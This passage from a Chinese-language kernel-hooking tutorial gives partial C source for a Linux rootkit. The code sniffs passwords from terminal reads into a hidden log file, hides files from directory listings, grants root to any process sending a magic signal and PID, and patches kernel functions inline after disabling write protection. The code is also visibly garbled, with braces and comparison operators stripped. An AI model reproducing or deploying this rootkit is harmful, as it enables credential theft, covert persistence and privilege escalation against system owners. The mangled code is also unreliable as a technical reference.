五、实例
下面是hook sys_read的部分代码实现,读者可以根据思路来补充完整。
config.h
#ifndef CONFIG_H
#define CONFIG_H
#define SNIFF_LOG "/tmp/.sniff_log"
#define KALL_SYMS_NAME "/proc/kallsyms"
#define HIDE_FILE "test"
#define MAGIC_PID 12345
#define MAGIC_SIG 58
#endi
hook.h
#ifndef HOOK_H
#define HOOK_H
#define HOOK_VERSION 0.1
#define HOOK_DEBUG
#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
printk("hook: n:%s-L%d: "format, __N__, __LINE__, ##args);
#else
#define DbgPrint(format, args...) do while(0);
#endif
#define SYS_REPLACE(x) orig_##x = sys_call_table[__NR_##x]; \
sys_call_table[__NR_##x] = new_##x
#define SYS_RESTORE(x) sys_call_table[__NR_##x] = orig_##x
#define CLEAR_CR0 asm ("pushl %eax\n\t" \
"movl %cr0, %eax\n\t" \
"andl $0xfffeffff, %eax\n\t" \
"movl %eax, %cr0\n\t" \
"popl %eax");
#define SET_CR0 asm ("pushl %eax\n\t" \
"movl %cr0, %eax\n\t" \
"orl $0x00010000, %eax\n\t" \
"movl %eax, %cr0\n\t" \
"popl %eax");
struct detor_idt
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
;
static struct
unsigned short limit;
unsigned long base;
__attribute__ ((packed)) idt48;
void **sys_call_table;
asmlinkage ssize_t new_read(unsigned int fd, char __user *buf,size_t count);
asmlinkage ssize_t (*orig_read)(unsigned int fd, char __user*buf, size_t count);
#endif
k_file.h
#ifndef TTY_SNIFF_H
#define TTY_SNIFF_H
#define BEGIN_KMEM mm_segment_t old_fs =get_fs();set_fs(get_ds());
#define END_KMEM set_fs(old_fs);
#define BEGIN_ROOT int saved_fsuid = current->fsuid; \
current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid;
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define READABLE(f) (f->f_op&&f->f_op->read)
#define _read(f, buf, sz) (f->f_op->read(f, buf,sz,&f->f_pos))
#define WRITABLE(f) (f->f_op&&f->f_op->write)
#define _write(f, buf, sz) (f->f_op->write(f, buf,sz,&f->f_pos))
#define TTY_READ(tty, buf, count)(*tty->driver->read)(tty,0, \
buf, count)
#define TTY_WRITE(tty, buf,count)(*tty->driver->write)(tty, 0, \
buf, count)
int write_to_file(char *logfile, char *buf, int size);
#endif
k_file.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "k_file.h"
int write_to_file(char *logfile, char *buf, int size)
mm_segment_t old_fs;
struct file *f = NULL;
int ret = 0;
old_fs = get_fs();
set_fs(get_ds());
BEGIN_ROOT
f = filp_open(logfile, O_CREAT O_APPEND, 00600);
if (IS_ERR(f))
printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);
set_fs(old_fs);
END_ROOT
ret = -1;
else
if (WRITABLE(f))
_write(f, buf, size);
else
printk("%s does not have a write method\n", logfile);
set_fs(old_fs);
END_ROOT
ret = -1;
if ((ret = filp_close(f,NULL)))
printk("Error %d closing %s\n", -ret, logfile);
set_fs(old_fs);
END_ROOT
return ret;
get_time.c
#include
#include
#include
#include
#include
#include
/* Macros used to get local time */
#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (SECS_PER_HOUR * 24)
#define isleap(year) \
((year) % 4 0 && ((year) % 100 != 0 (year) % 400 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV(y,400))
struct vtm
int tm_sec;
int tm_min;
int tm_hour;
int tm_mday;
int tm_mon;
int tm_year;
;
int timezone;
int epoch2time(const time_t * t, long int offset, structvtm*tp)
static const unsigned short int mon_yday[2]13=
/* Normal years. */
0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365,
/* Leap years. */
0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366
;
long int days, rem, y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0)
rem += SECS_PER_DAY;
--days;
while (rem >= SECS_PER_DAY)
rem -= SECS_PER_DAY;
++days;
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 days >= (isleap(y) ? 366 : 365))
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1)
- LEAPS_THRU_END_OF(y - 1));
y = yg;
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
tp->tm_mday = days + 1;
return 1;
/*
* Get current date & time
*/
void get_time(char *date_time)
struct timeval tv;
time_t t;
struct vtm tm;
do_gettimeofday(&tv);
t = (time_t) tv.tv_sec;
epoch2time(&t, timezone, &tm);
sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
tm.tm_sec);
=
hide_file.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "config.h"
#define ROUND_UP64(x) (((x)+sizeof(u64)-1)&~(sizeof(u64)-1))
#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user*)(de)))
struct getdents_callback64
struct linux_dirent64 __user * current_dir;
struct linux_dirent64 __user * previous;
int count;
int error;
;
int new_filldir64(void * __buf, const char * name, intnamlen,loff_t offset,
ino_t ino, unsigned int d_type)
struct linux_dirent64 __user *dirent;
struct getdents_callback64 * buf = (struct getdents_callback64*)__buf;
int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);
buf->error = -EINVAL; /* only used if we fail.. */
if (reclen > buf->count)
return -EINVAL;
dirent = buf->previous;
if (dirent)
if (strstr(name, HIDE_FILE) != NULL)
return 0;
if (__put_user(offset, &dirent->d_off))
goto efault;
dirent = buf->current_dir;
if (strstr(name, HIDE_FILE) != NULL)
return 0;
if (__put_user(ino, &dirent->d_ino))
goto efault;
if (__put_user(0, &dirent->d_off))
goto efault;
if (__put_user(reclen, &dirent->d_reclen))
goto efault;
if (__put_user(d_type, &dirent->d_type))
goto efault;
if (copy_to_user(dirent->d_name, name, namlen))
goto efault;
if (__put_user(0, dirent->d_name + namlen))
goto efault;
buf->previous = dirent;
dirent = (void __user *)dirent + reclen;
buf->current_dir = dirent;
buf->count -= reclen;
return 0;
efault:
buf->error = -EFAULT;
return -EFAULT;
hook.c
/*
My hook engine v0.20
by wzt
tested on amd64 as5, x86 as4,5
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "syscalls.h"
#include "config.h"
#include "k_file.h"
#include "hide_file.h"
#include "hook.h"
#define READ_NUM 200
extern int write_to_file(char *logfile, char *buf, int size);
ssize_t (*orig_vfs_read)(struct file *file, char __user*buf,size_t count,
loff_t *pos);
int (*orig_kill_something_info)(int sig, struct siginfo *info,intpid);
unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;
unsigned int sys_read_addr = 0;
unsigned int sys_getdents64_addr = 0;
unsigned int sys_kill_addr = 0;
unsigned int kill_something_info_addr = 0;
int hook_kill_something_info_flag = 1;
int hook_vfs_read_flag = 1;
spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;
unsigned int filldir64_addr = 0;
unsigned char old_filldir64_opcode[5];
unsigned int get_sct_addr(void)
int i = 0, ret = 0;
for (; i < 500; i++)
if ((*(unsigned char*)(system_call_addr + i) 0xff)
&& (*(unsigned char *)(system_call_addr + i + 1)0x14)
&& (*(unsigned char *)(system_call_addr + i +2)0x85))
ret = *(unsigned int *)(system_call_addr + i + 3);
break;
return ret;
unsigned int find_kernel_symbol(char *symbol_name,char*search_file)
mm_segment_t old_fs;
ssize_t bytes;
struct file *file = NULL;
char read_buf[500];
char *p, tmp[20];
unsigned int addr = 0;
int i = 0;
file = filp_open(search_file, O_RDONLY, 0);
if (!file)
return -1;
if (!file->f_op->read)
return -1;
old_fs = get_fs();
set_fs(get_ds());
while ((bytes = file->f_op->read(file, read_buf,500,&file->f_pos)))
if ((p = strstr(read_buf, symbol_name)) != NULL)
while (*p--)
if (*p "\n")
break;
while (*p++ != " ")
tmp[i++] = *p;
tmp[--i] = "\0";
addr = simple_strtoul(tmp, NULL, 16);
DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);
break;
filp_close(file,NULL);
set_fs(old_fs);
return addr;
unsigned int try_find_kernel_symbol(char *symbol_name,char*search_file,
int search_num)
unsigned int addr = 0;
int i = 0;
for (i = 0; i < search_num; i++)
addr = find_kernel_symbol(symbol_name, search_file);
if (addr)
break;
return addr;
ssize_t new_vfs_read(struct file *file, char __user *buf,size_tcount,
loff_t *pos)
ssize_t ret;
ret = (*orig_vfs_read)(file, buf, count, pos);
if (ret > 0)
struct task_struct *tsk = current;
struct tty_struct *tty = NULL;
tty = tsk->signal->tty;
if (tty && IS_PASSWD(tty))
char *tmp_buf = NULL, buff[READ_NUM];
if (ret > READ_NUM)
return ret;
tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);
if (!tmp_buf)
return ret;
copy_from_user(tmp_buf, buf, ret);
snprintf(buff, sizeof(buff),
"\t--\tpasswd: %s\n", tsk->comm,
tmp_buf);
write_to_file(SNIFF_LOG, buff, strlen(buff));
kfree(tmp_buf);
return ret;
int new_kill_something_info(int sig, struct siginfo *info,intpid)
struct task_struct *tsk = current;
int ret;
if ((MAGIC_PID pid) && (MAGIC_SIG sig))
tsk->uid = 0;
tsk->euid = 0;
tsk->gid = 0;
tsk->egid = 0;
return 0;
else
ret = (*orig_kill_something_info)(sig, info, pid);
return ret;
unsigned int patch_kernel_func(unsigned int handler, unsignedintold_func,
unsigned int new_func)
unsigned char *p = (unsigned char *)handler;
unsigned char buf4= "\x00\x00\x00\x00";
unsigned int offset = 0;
unsigned int orig = 0;
int i = 0;
DbgPrint("\n*** hook engine: start patch func at:0x%08x\n",old_func);
while (1)
if (i > 512)
return 0;
if (p[0] 0xe8)
DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);
DbgPrint("*** hook engine: call addr: 0x%08x\n",
(unsigned int)p);
buf[0] = p[1];
buf1= p[2];
buf2= p[3];
buf3= p[4];
DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
p[1], p[2], p[3], p[4]);
offset = *(unsigned int *)buf;
DbgPrint("*** hook engine: offset: 0x%08x\n", offset);
orig = offset + (unsigned int)p + 5;
DbgPrint("*** hook engine: original func: 0x%08x\n", orig);
if (orig old_func)
DbgPrint("*** hook engine: found old func at"
" 0x%08x\n",
old_func);
DbgPrint("%d\n", i);
break;
p++;
i++;
offset = new_func - (unsigned int)p - 5;
DbgPrint("*** hook engine: new func offset:0x%08x\n",offset);
p1= (offset & 0x000000ff);
p2= (offset & 0x0000ff00) >> 8;
p3= (offset & 0x00ff0000) >> 16;
p4= (offset & 0xff000000) >> 24;
DbgPrint("*** hook engine: pachted new func offset.\n");
return orig;
static int inline_hook_func(unsigned int old_func, unsignedintnew_func,